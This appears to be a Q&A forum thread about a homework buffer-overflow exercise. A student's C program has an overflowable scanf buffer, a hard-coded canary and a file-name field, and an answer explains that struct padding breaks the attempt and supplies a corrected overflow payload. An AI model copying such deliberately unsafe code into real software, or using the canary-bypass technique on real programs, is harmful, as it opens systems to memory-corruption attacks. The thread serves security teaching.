Reputation: 31
I'm trying to exploit this simple program for homework:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define BUFSIZE 1024
typedef struct {
char flag_content[BUFSIZE];
char guess[47];
unsigned canary;
char flag_file[BUFSIZE];
} st_t;
int main(){
FILE *f = NULL;
st_t st = {
.flag_file = "fake_flag",
.canary = 0x4249b876
};
printf("Guess the flag!\n");
scanf("%s", st.guess);
f = fopen(st.flag_file, "rb");
if (f == NULL){
printf("flag error\n");
exit(-1);
}
if (fread(st.flag_content, BUFSIZE, 1, f) < 0){
printf("flag error\n");
exit(-1);
}
if (st.canary != 0x4249b876) {
printf("canary error\n");
exit(-1);
}
if (!strcmp(st.guess, st.flag_content)){
printf("You guessed it right!\n");
} else {
printf("Sorry but the flag is \"%s\"\n", st.flag_content);
}
exit(1);
}
The purpose is to modify the st.flag_file
inserting "flag.txt"
instead of "fake_flag.txt"
to read its content.
It's easy to find out that there is a buffer overflow, but there is also a canary, so I write this exploit as input of the scanf
:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAv¸IBflag.txt
I found online that the hexadecimal 0x4249b876
is translated into v¸IB
but when I run the code from my terminal this is the output
./mission1
Guess the flag!
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAv¸IBflag.txt
canary error
and doing a check with gdb I found out that the variable st.flag_file = "flag.txt"
that is correct but the variable st.canary = 0x4249b8c2
I cannot understand. Why?
Upvotes: 2
Views: 2937
Reputation: 26186
The problem you are having comes from the alignment requirements of the struct
. In particular, between the guess
and the canary
there is extra padding that the compiler is inserting. Try to dump the entire structure and/or the addresses of the members and you will see the padding.
The end result is that you will need more than 47 bytes (A
) to reach the canary
, typically one more. So instead of, e.g.:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x76\xb8\x49\x42flag
You will need:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x76\xb8\x49\x42flag
Take note, as well, that escaping the characters for the canary might be a good idea (to avoid problems with encoding etc.) and makes it more readable (to compare against the actual canary).
Off-topic Note that:
fread(st.flag_content, BUFSIZE, 1, f) < 0
is always false since fread
returns a size_t
(unsigned).
Upvotes: 2